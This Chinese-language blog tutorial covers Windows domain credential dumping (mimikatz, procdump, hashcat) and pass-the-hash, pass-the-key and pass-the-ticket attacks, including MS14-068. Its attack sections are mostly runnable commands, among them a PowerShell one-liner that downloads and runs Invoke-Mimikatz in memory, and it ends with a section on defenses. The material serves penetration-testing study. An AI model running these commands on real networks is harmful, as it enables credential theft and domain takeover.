首页 > 其他分享 >内网安全之:域密码抓取及票据传递

内网安全之:域密码抓取及票据传递

时间:2022-10-31 09:01:01浏览次数:74  
标签:exe Hash 抓取 传递 密码 mimikatz 票据

内网安全之:域密码抓取及票据传递

目录

1 mimikatz 抓取密码

  1. 利用通过 SAM 和 System 文件获得 NTLM Hash

    # 无工具导出 SAM 文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    # 使用 mimikatz 读取 SAM 和 System 文件
    mimikatz# lsadump::sam /sam:sam.hive /system:system.hive
    
    # 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值
    nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1
    Get-PassHashes
    
  2. 使用 mimikatz 读取本地 SAM 文件

    需要考虑 mimikatz 在目标机器上的免杀特性
    # 提权
    mimikatz# privilege::debug
    # 将权限提升至 System
    mimikatz# token::elevate
    # 读取本地 SAM 文件,获得 NTLM Hash
    mimikatz# lsadump::sam
    # 解密 HASH 值
    mimikatz# sekurlsa::logonpasswords
    

    image-20211110092817718

    image-20211110092902820

  3. 使用 mimikatz 离线读取 lsass.dmp 文件

    # 导出 lsass.dmp 文件
    找到 lsass.exe 进程,右键选择:创建转储文件
    
    # 利用 procdump 导出 lsass.dmp 文件
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
  4. 使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值

    mimikatz# sekurlsa::minidump lsass.dmp
    mimikatz# sekurlsa::logonpasswords full
    
  5. 使用 powershell 远程加载 Mimikatz

    # 远程加载 Mimikatz 抓取 Hash 密码
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    
    # 本地加载 Mimikatz 抓取 Hash 密码
    Import-Module .\Invoke-Mimikatz.ps1
    Invoke-Mimikatz
    

1.1 HashCat 解密 hash 值

项目地址:hashcat/hashcat: World's fastest and most advanced password recovery utility (github.com)

使用方法:

# 测试当前主机破解密码的基准速度
hashcat.exe -b

# 指定 hash 的类型
hashcat.exe -m

# 指定破解模式
hashcat.exe -a
  0 | Straight					//字典破解
  1 | Combination				//组合破解
  3 | Brute-force				//掩码暴力破解
  6 | Hybrid Wordlist + Mask
  7 | Hybrid Mask + Wordlist
  9 | Association

# 常用命令
# 使用字典模式进行破解。
hashcat -a 0 -m xx <hashfile> <dict1> <dict2>
-a 0: 以字典模式破解
-m xx:指定 <hashfile> 内的 hash 类型

# 将 1 到 6 指定为数字进行破解
hashcat.exe -m 1000 -a 3 32ed87bdb5fdc5e9cba88547376818d4 ?d?d?d?d?d?d

1.2 防范 Windows 密码抓取

  1. 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。

  2. 安装 KB2871997: Microsoft KB2871997的学习

    :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。

  3. 修改注册表禁止在内存中存储明文密码

    关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。

    # 开启 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    # 关闭 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    
    # powershell 开启 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    
    # powershell 关闭 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
    
  4. 将拥有 Debug 权限的本地管理员从 Administrators 组中删除:Mimikatz 在抓取 Hash 值或明文密码时,需要使用 Debug 权限。

    secpol.msc -- 安全设置 -- 本地策略 -- 用户权限分配 -- 调试程序(debug programs):可以查看只有 Administrators 组中的用户具有 Debug 权限。

2 传递攻击

如果找到了某个用户的ntlm hash,就可以拿这个ntlm hash当作凭证进行远程登陆了

PTH: 若hash加密方式是 rc4,那么就是pass the hash

PTK: 若加密方式是aes key,那么就是pass the key

2.1 NTLM hash 传递攻击

利用条件:

  1. 被pth攻击的计算机未打补丁(KB2871997)
  2. 拿到一台域成员主机并且拿到管理员组的域用户的NTML
  3. 对方主机存在相同账号并且是管理员组成员
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
  5. :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv

# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$

2.2 AES-256 密钥传递攻击

利用条件:

  1. 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys

# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"

# dir \\dc\c$

image-20211110091526179

2.3 Ticket 传递攻击

2.3.1 利用 mimikatz 进行 Ticket 传递攻击

# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge

# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`][email protected]"

image-20211110093506835

image-20211110094507004

2.3.2 利用 kekeo 进行 Ticket 传递攻击

# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge

# 导入票据
.\kekeo.exe "kerberos::ptt [email protected][email protected]"

image-20211110100506395

2.3.3 ms14-068.exe kerberos

漏洞原理:MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)

项目地址:SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)

完整利用过程:内网安全之:MS14-068 Kerberos 域用户提权漏洞 - f_carey - 博客园 (cnblogs.com)

利用条件:

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u [email protected] -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21

# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc [email protected]"

# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe

2.3.4 Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击

标签:exe,Hash,抓取,传递,密码,mimikatz,票据
From: https://www.cnblogs.com/f-carey/p/16843091.html

相关文章

  • 内网安全之:黄金&白银票据传递域控制器权限维持
    内网安全之:黄金&白银票据传递域控制器权限维持目录内网安全之:黄金&白银票据传递域控制器权限维持1GoldenTicket1.1导出krbtgt的NTLMHash1.2获取基本信息1.3Kerbe......
  • ACL抓取路由
    路由表里面已经没有192.168.0.0/16的网段了.注:这种ACL抓取方法,你只过滤192.168.0.0/16掩码是很难操作的,他会匹配到192.168.1.0/24.不能做到精准过滤......
  • 《2015移动安全挑战赛----自毁程序密码(第二题)》分析
    这个程序很简单,用MT轻轻松松就可以破解了,可这样非常的暴力,所有我们采用对SO进行编译获取正确密码1.简单的配置  2.调试模式打开.3.编译SO  我们对这2个进行......
  • ubuntu docker 安装指定版本 MongoDB 并配置用户密码
    ubuntudocker安装指定版本MongoDB并配置用户密码​​初​​​​查看安装的镜像​​​​运行容器​​​​检查运行​​​​进入数据库​​​​创建用户和密码​​​​创......
  • 修改mysql root密码
    1、如果没有配置环境变量,在\ProgramFiles\MySQL\MySQLServer8.0\bin文件下Shit+右键打开Powershell窗口,如果是从开始菜单选择管理员运行Powershell,则需要cd到上......
  • python-爬虫-自带库抓取网页内容
    python-爬虫-自带库抓取网页内容版本:Python2.7.10 python-爬虫-自带库抓取网页内容版本:Python2.7.10#-*-coding:utf-8-*-importsysimportl......
  • 使用浏览器保存账号密码并不安全,你的密码可能被坏人记下
    很多人为了图个方便,喜欢使用浏览器保存账号和密码。绝大多数人认为,浏览器中的密码是加密存储的,没有什么安全隐患!然而,通过这篇文章告诉你,使用浏览器保存账号和密码并不安全!......
  • ubuntu系统下postgresql数据库中postgre用户密码的修改
    ubuntu系统下postgresql数据库中postgre用户密码的修改1、打开终端,在终端输入:sudopasswd-dpostgres回车后输入系统密码说明:该命令用来删除postgres用户的密码(即删除......
  • vcenter密码设置永不过期
    由于机房断电,原本的vcenter重启后web页面出现报错,为尽快恢复vcenter管理机,直接停用了旧的vcenter虚机,重新安装了一台vcenter,两个月后,页面开始报警密码即将到期;经查阅相关......
  • ubuntu下Mysql安装与root密码重置
    一、安装1.首先更新本地存储库索引,执行sudoaptupdate2.从APT存储库安装MySQL,执行sudoaptinstallMySQL-server,在安装过程中,可能会出现[Y/n]问题,输入Y继续3.安装完......